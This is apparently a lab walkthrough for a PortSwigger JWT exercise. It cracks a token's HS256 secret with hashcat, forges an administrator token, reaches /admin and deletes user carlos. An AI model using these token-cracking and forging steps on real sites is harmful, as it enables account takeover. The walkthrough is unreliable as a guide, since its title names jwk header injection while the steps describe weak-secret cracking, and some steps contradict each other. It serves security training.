# JWT authentication bypass via jwk header injection - %

## Description

## Solution

Go to login page and access as wiener user.

JWT extension reveal that there's a JWT token, obviously related to wiener user account

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F8wfzakyte6VBuoVNjVzm%2Fimage.png?alt=media&#x26;token=73c991fb-3c79-42c0-996c-a0b836cd6904" alt=""><figcaption></figcaption></figure>

```json
{"iss":"portswigger","exp":1742682771,"sub":"wiener"}
```

Save the item into a file called 'jwt' to prepare input for our brute force attack.

```json
eyJraWQiOiI3NTUzZjE1OC0zOTA5LTRiNDAtOGZhMy0zNDZmM2ZiZTViOTYiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc0MjY4Mjc3MSwic3ViIjoid2llbmVyIn0.1h8m2wyXUGHZfKhTiOEKAvdKBhkgK5cDAGajwa2zrTo
```

```bash
hashcat -a 0 -m 16500 jwt ~/Documents/wordlists/jwt.secrets.list
```

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F5oOwoUWZnCeJo6Iv0Vey%2Fimage.png?alt=media&#x26;token=9569e4d1-18e6-4296-9a3d-faa1163272ef" alt=""><figcaption></figcaption></figure>

Well done, 'secret1' is the result.

Using JSON Web Tokens tab, modify the sub field inserting: "`administrator`", select "recalculate Signature" and insert there: "`secret1`"

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FukA01Kui88lICKS8pJYd%2Fimage.png?alt=media&#x26;token=ec1ba164-c09e-4233-919e-b7de97ef0ddb" alt=""><figcaption></figcaption></figure>

after that, go again into Pretty tab and change the id value to 'administrator': `GET /my-account?id=administrator HTTP/2` and delete the signature of the cookie session (the last part):

```http
GET /admin HTTP/2
Host: 0a71008804ff6c6185fbc1cf004b005c.web-security-academy.net
Cookie: session=eyJraWQiOiI4MmRmZWY5OC02YWE0LTRkNTItODNkOS03NTMwNzI5NmNhYTkiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc0MjY4NDUwOSwic3ViIjoiYWRtaW5pc3RyYXRvciJ9.t5w7XuZemQGQB2xo1NoxuYYgUGWU_Tro27qR-RT4oQU
```

click first on the **Send** button and then on **Following redirection** button

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FHmPTkpna1X9IM2J5Chb2%2Fimage.png?alt=media&#x26;token=55c6fb18-5747-4763-8af4-717899a2b475" alt=""><figcaption></figcaption></figure>

Now, we're authenticated as administrator!

Checking the response the admin panel's path is: `/admin`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FTAegFAsYBljFXVD96nZo%2Fimage.png?alt=media&#x26;token=f448bc12-9c9a-4bfa-8bef-6ed72bf6280e" alt=""><figcaption></figcaption></figure>

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2FQnKT3cg407dF7PrBS7jk%2Fimage.png?alt=media&#x26;token=5e1a788d-1026-42b2-bd94-59f186014332" alt=""><figcaption></figcaption></figure>

analyzing the response, we see that the request to delete the user Carlos is the following: `GET /admin/delete?username=carlos HTTP/2`

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F5RkvZQehnF42mqHhzE5R%2Fimage.png?alt=media&#x26;token=b756046a-28cc-4ae3-b45c-e3fd99a83e6c" alt=""><figcaption></figcaption></figure>

So, Send and click to Following redirection to delete it and complete the lab.

<figure><img src="https://677614291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FrRWtuMw6xkkeDjZfkcWC%2Fuploads%2F99iwVYmQuRmRE348QAxv%2Fimage.png?alt=media&#x26;token=9730be88-fd7f-4d33-8340-71225f958ae3" alt=""><figcaption></figcaption></figure>
